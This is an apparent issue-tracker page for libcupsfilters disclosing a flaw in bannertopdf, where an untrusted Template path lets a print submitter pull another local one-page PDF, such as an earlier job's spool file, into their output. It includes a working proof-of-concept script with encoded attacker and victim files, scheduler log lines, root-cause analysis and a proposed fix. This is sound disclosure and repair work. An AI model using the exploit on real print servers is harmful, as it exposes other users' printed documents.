OpenPrinting / OpenPrinting/libcupsfilters
bannertopdf: untrusted Template path exposes local PDF content
Nobody has claimed this yet.
- Dominant language
- C
- Stars
- 17
- Forks
- 71
- Avg merge
- 2d 17h
- Merged PRs (30d)
- 13
Description
Summary
An attacker-supplied print document beginning with #PDF-BANNER is
automatically typed as application/vnd.cups-pdf-banner and routed to
bannertopdf. The document controls the Template value, and an absolute
path is accepted without a trusted-directory check. A submitter with print
permission can therefore make the filter read a filter-readable file that
PDFio accepts as an unencrypted, exactly one-page PDF and include its content
in the generated output.
An isolated CUPS scheduler test demonstrated cross-job disclosure: a later
job selected the predictable spool path of an earlier PDF job, and the
captured output contained the earlier job's marker SECRET9F2C. The test
scheduler used AuthType None; victim-user and attacker-user were
client-supplied job names, not independently authenticated principals.
Consequently, this proves the cross-job path but not a cross-authenticated-
user boundary.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- CUPS:
d24aab0ce4cfa1bd31e10fe5d8f587a8f8804964 - cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a - libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686 - libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
Run the standalone filter proof. This proves that untrusted Template syntax
selects a local PDF; it does not independently reproduce scheduler MIME
auto-typing or spool retention:
./reproduce.sh
The end-to-end scheduler evidence is preserved in cupsd-error-log.txt.
Relevant lines show:
[Job 6] document-format ... 'application/octet-stream'
[Job 6] Auto-typing file.
[Job 6] Request file type is application/vnd.cups-pdf-banner.
[Job 6] argv[2]="attacker-user"
[Job 6] CONTENT_TYPE=application/vnd.cups-pdf-banner
[Job 6] Job completed.
The archived files have these SHA-256 values:
a9c4157ec7c28a7612b4885cba556be9da1a2e9c042fc30cf639e469d386d3e3 poc/victim.pdf
74bab32446c33372b6ecc2b77c5b2e933eee541107b1e317597e56d595e2cd7a poc/captured-cross-job.pdf
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: bannertopdf: untrusted Template path exposes local PDF content
# Finding ID: bannertopdf-template-path-cross-job-disclosure
# Trigger: An attacker-supplied print document beginning with #PDF-BANNER is
# automatically typed as application/vnd.cups-pdf-banner and routed to
# bannertopdf. The document controls the Template value, and an absolute path
# is accepted without a trusted-directory check. A submitter with print
# permission can therefore make the filter read a filter-readable file that
# PDFio accepts as an unencrypted, exactly one-page PDF and include its
# content in the generated output.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Attacker-controlled banner description selecting the victim path.
# Output: attacker-banner.txt (90 bytes)
write_file attacker-banner.txt 9c2de8a44c2d1f3ead476656b5ecb7f9f8f4888c148e57a2c28b4ff7b88ece39 <<'POC_PAYLOAD_0'
H4sIAAAAAAACAw3B0QpAMBQA0Pd9hfJ8bYoPIDxKyPtwhbbdm03K13NO3FUNlEXb1r0Y0bLRASMZ
LMtZO4dXIF43WG72wAejORwm/p12zqRnIiNX9ctBqVQMOz3RSTM4bVF8qTt1gVoAAAA=
POC_PAYLOAD_0
# Benign victim document used to demonstrate cross-job disclosure.
# Output: victim.pdf (583 bytes)
write_file victim.pdf a9c4157ec7c28a7612b4885cba556be9da1a2e9c042fc30cf639e469d386d3e3 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA22RwU/CMBjF7/0r3oVED9p2axESwgHcLmoksBvxUFzBEVxNWxL0r7fdFl2cS7Ns
73vv931tR6v7/IbfCsLBYHZHMpuBFp8fGnSpvDqZA+hKHbRDEgxrzOdE12U0JoNA66MPVemwTaP9
JVDMufbgvWD6bzC+rQ7Wtg990mWlFuaCLQuCnEpMRBJ4a+3M2b6GRjGfm5BoPjhEN2BcoW3tA81B
/hlbDLo3DLo573zzG0UOulBOt5WwA1tp22PIHuNR1wf/BpHEuvNWq3eyKJqB+ATFHpLhjjEUJa42
2XKdFdM8WV6jOCIrIrDLdOiL1XvCMCbs58FYylRij19tirZS/2pyMtA4lwMtEXygpX2et6o6advs
bVN9aYzDmRsTr7A7SOeV9c2cgjEyGmXPOfkGLUHgaEcCAAA=
POC_PAYLOAD_1
Result
Both sanitized and plain standalone wrappers exit zero, and pdftotext on
their output contains SECRET9F2C. In the isolated scheduler pipeline, the
same marker from an earlier retained spool file appears in the later job's
captured print output.
The practical impact additionally requires installed cups-filters MIME and
conversion rules, a queue with a banner-to-output conversion path, permission
to submit the document, a known or guessable path that remains present, and
access to the physical, virtual, archived, or remote printer output. Retained
CUPS spool files are a plausible target on configurations where job files are
group-readable by the filter account and predictable sequential names are
used. Distribution permissions, sandboxing, and retention policy can remove
that target.
This is a conditional information disclosure, not arbitrary byte-file read,
code execution, or privilege escalation.
Cause and expected behavior
The cups-filters MIME rule at mime/cupsfilters.types:102 recognizes the
untrusted document by magic, and
mime/cupsfilters-individual.convs.in:48 routes it to bannertopdf.
template_path() at bannertopdf.c:167-178
returns an absolute input path unchanged. banner_new_from_file() accepts
that value at lines 259-260, and generate_banner_pdf() opens and copies the
selected template at line 611. cupsfilters/pdf.c:57 enforces the exactly
one-page condition.
This differs from the scheduler's trusted job-sheets path, which resolves a
configured banner name through cupsdFindBanner() and copies from the CUPS
data directory. Directly submitted banner documents bypass that name
allowlist.
When running as an external CUPS filter, Template should be restricted to a
trusted basename under the configured template directory after canonical path
validation. If the library API needs arbitrary paths for trusted callers, that
capability should not be selected by untrusted document syntax.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start by running ./reproduce.sh, then inspect template_path() in bannertopdf.c:167-178 and the callers at banner_new_from_file() and generate_banner_pdf(). Compare this with the trusted cupsdFindBanner() path and verify that untrusted Template syntax cannot select arbitrary files while trusted banner handling remains functional.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 55/100